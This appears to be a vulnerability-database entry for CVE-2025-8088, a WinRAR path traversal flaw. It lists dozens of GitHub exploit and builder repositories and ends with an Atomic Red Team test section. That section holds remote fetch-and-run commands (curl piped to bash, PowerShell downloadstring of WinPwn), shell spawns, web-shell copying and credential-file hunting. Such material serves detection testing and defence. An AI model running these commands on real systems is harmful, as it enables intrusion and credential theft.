CVE-2025-8088
Overview
This vulnerability is a path traversal flaw within the Windows version of WinRAR, specifically in the archive extraction component. The root cause lies in improper validation of file paths inside crafted archive files, allowing directory traversal sequences to bypass intended extraction directories. This flaw affects the archive parsing and extraction logic responsible for handling file paths during decompression.
Vulnerability Description
A path traversal vulnerability affecting the Windows version of WinRAR allows the attackers to execute arbitrary code by crafting malicious archive files. This vulnerability was exploited in the wild and was discovered by Anton Cherepanov, Peter Košinár, and Peter Strýček from ESET.
Impact
An attacker can execute arbitrary code on the victim's Windows system by convincing the user to open a maliciously crafted archive file, without requiring prior authentication. This enables full system compromise, including installation of malware, data theft, or lateral movement within a network. The vulnerability has been exploited in the wild, demonstrating its practical impact on confidentiality, integrity, and availability of affected systems.
Solution
WinRAR has released a security update addressing this path traversal vulnerability in the Windows version. Users should update to the latest WinRAR release as detailed in the official advisory at https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5. Applying this update will correct the path validation logic to prevent traversal attacks. No alternative workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (2)
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Rarlab | Winrar | All |
cpe:2.3:a:rarlab:winrar:*:*:*:*:*:*:*:*
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Dtsearch | Dtsearch | All |
cpe:2.3:a:dtsearch:dtsearch:*:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
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By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
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GitHub PoCs (39)
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sxyrxyy/CVE-2025-8088-WinRAR-Proof-of-Concept-PoC-Exploit-
CVE-2025-8088 WinRAR Proof of Concept (PoC-Exploit)
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sxyrxyy | 73 | 31 | 2025-08-13 | View |
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onlytoxi/CVE-2025-8088-Winrar-Tool
Advanced WinRAR Path Traversal Exploit Tool for CVE-2025-8088
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onlytoxi | 55 | 16 | 2025-08-14 | View |
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hexsecteam/CVE-2025-8088-Winrar-Tool
A sophisticated GUI tool for creating malicious RAR archives that exploit the WinRAR path traversal vulnerability (CVE-2...
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hexsecteam | 50 | 19 | 2025-09-04 | View |
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knight0x07/WinRAR-CVE-2025-8088-PoC-RAR
WinRAR 0day CVE-2025-8088 PoC RAR Archive
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knight0x07 | 44 | 12 | 2025-08-12 | View |
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pentestfunctions/CVE-2025-8088-Multi-Document
Exploit systems using older WinRAR without knowing their username (unlike other projects)
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pentestfunctions | 35 | 4 | 2025-08-16 | View |
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aldisakti2/CVE-2025-8088-BUILDER-Winrar-Tool
CVE-2025-8088-BUILDER
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aldisakti2 | 28 | 9 | 2024-05-26 | View |
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jordan922/CVE-2025-8088
Python tool for safe archive handling, path traversal awareness, and secure extraction. Inspired by CVE-2025-8088.
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jordan922 | 10 | 4 | 2025-08-10 | View |
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AdityaBhatt3010/CVE-2025-8088-WinRAR-Zero-Day-Path-Traversal
An engaging walkthrough on uncovering, patching, and securing the WinRAR CVE-2025-8088 with a hands-on hacker’s twist.
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AdityaBhatt3010 | 12 | 0 | 2025-08-26 | View |
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kitsuneshade/WinRAR-Exploit-Tool---Rust-Edition
A high-performance, memory-safe implementation of the WinRAR CVE-2025-8088 exploit tool, rewritten in Rust for better re...
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kitsuneshade | 8 | 3 | 2025-08-27 | View |
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lucyna77/winrar-exploit
CVE-2025-8088 exploit C++ impl
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lucyna77 | 9 | 2 | 2025-09-25 | View |
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starfallreverie/winrar-exploit
CVE-2025-8088 C++ implementation
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starfallreverie | 8 | 2 | 2025-09-25 | View |
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pentestfunctions/best-CVE-2025-8088
Winrar CVE exploitation before 7.13 using multiple ADS streams on a single file (Custom PDF implementation)
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pentestfunctions | 10 | 0 | 2025-08-27 | View |
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lennertdefauw/CVE-2025-8088
WinRAR < 7.13 path traversal for persistency
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lennertdefauw | 5 | 2 | 2026-03-25 | View |
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walidpyh/CVE-2025-8088
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walidpyh | 4 | 2 | 2025-08-27 | View |
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Syrins/CVE-2025-8088-Winrar-Tool-Gui
A Windows GUI tool demonstrating a proof-of-concept archive traversal technique related to CVE-2025-8088 using WinRAR’s ...
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Syrins | 4 | 2 | 2025-08-20 | View |
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Markusino488/cve-2025-8088
🛠 Exploit CVE-2025-8088 with this Python tool to generate malicious WinRAR archives that ensure payload persistence in W...
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Markusino488 | 2 | 2 | 2025-12-20 | View |
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pexlexity/WinRAR-CVE-2025-8088-Path-Traversal-PoC
Proof-of-Concept for CVE-2025-8088 vulnerability in WinRAR (path traversal via ADS)
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pexlexity | 2 | 1 | 2025-08-17 | View |
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pescada-dev/-CVE-2025-8088
POWERSHEL script to check if your device is affected or no
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pescada-dev | 1 | 1 | 2025-08-26 | View |
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undefined-name12/CVE-2025-8088-Winrar
Herramienta avanzada de explotación transversal de ruta de WinRAR para CVE-2025-8088
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undefined-name12 | 2 | 0 | 2026-02-14 | View |
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skander1337/winrar-exploit
CVE-2025-8088 exploit C++ impl
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skander1337 | 0 | 1 | 2025-11-07 | View |
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papcaii2004/CVE-2025-8088-WinRAR-builder
A POC exploit for WinRAR vulnerability (CVE-2025-8088) affecting versions 7.12 and lower
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papcaii2004 | 0 | 1 | 2025-10-21 | View |
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travisbgreen/cve-2025-8088
cve-2025-8088_detection
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travisbgreen | 1 | 0 | 2025-08-11 | View |
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Shinkirou789/Cve-2025-8088-WinRar-vulnerability
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Shinkirou789 | 1 | 0 | 2025-09-17 | View |
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ilhamrzr/RAR-Anomaly-Inspector
Defensive PowerShell tool for static inspection of RAR archives and detection of CVE-2025-8088 path traversal anomalies.
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ilhamrzr | 1 | 0 | 2026-01-11 | View |
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xi0onamdev/WinRAR-CVE-2025-8088-Exploitation-Toolkit
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xi0onamdev | 0 | 1 | 2025-11-29 | View |
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DeepBlue-dot/CVE-2025-8088-WinRAR-Startup-PoC
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DeepBlue-dot | 1 | 0 | 2025-08-26 | View |
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0xAbolfazl/CVE-2025-8088-WinRAR-PathTraversal-PoC
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0xAbolfazl | 1 | 0 | 2025-08-15 | View |
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Jessica74016/CVE-2025-8088
CVE-2025-8088 — Educational proof-of-concept for WinRAR path traversal vulnerability via NTFS Alternate Data Streams (AD...
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Jessica74016 | 1 | 0 | 2026-03-07 | View |
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roof1948576qwd/CVE-2025-8088-WinRAR-PoC-3
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roof1948576qwd | 0 | 0 | 2026-09-29 | View |
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roof1948576qwd/CVE-2025-8088-WinRAR-PoC-2
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roof1948576qwd | 0 | 0 | 2026-09-29 | View |
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roof1948576qwd/CVE-2025-8088-WinRAR-PoC-1
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roof1948576qwd | 0 | 0 | 2026-09-29 | View |
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nuky-alt/CVE-2025-8088
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nuky-alt | 0 | 0 | 2025-11-03 | View |
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Lewis-Ricardo/Amaranth-Project
CVE-2025-8088 exploitation chain + Quasar C2 multi-stage payload delivery
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Lewis-Ricardo | 0 | 0 | 2026-06-26 | View |
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shaheeryasirofficial/CVE-2025-8088
CVE-2025-8088 is a critical path traversal vulnerability in WinRAR 7.12
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shaheeryasirofficial | 0 | 0 | 2026-04-07 | View |
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nhattanhh/CVE-2025-8088
CVE-2025-8088
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nhattanhh | 0 | 0 | 2025-08-19 | View |
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IsmaelCosma/CVE-2025-8088
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IsmaelCosma | 0 | 0 | 2026-02-11 | View |
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techcorp/CVE-2025-8088-Exploit
A proof-of-concept exploit for WinRAR vulnerability (CVE-2025-8088) affecting versions 7.12 and lower. This tool creates...
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techcorp | 0 | 0 | 2025-09-14 | View |
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hbesljx/CVE-2025-8088-EXP
WinRAR漏洞CVE-2025-8088的payload一键生成工具
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hbesljx | 0 | 0 | 2025-09-18 | View |
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ghostn4444/CVE-2025-8088
This PoC is for authorized study and testing. CVE-2025-8088 is actively exploited, and misuse may violate laws or cause ...
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ghostn4444 | 0 | 0 | 2025-08-21 | View |
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 287 sighting(s)
Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
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Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
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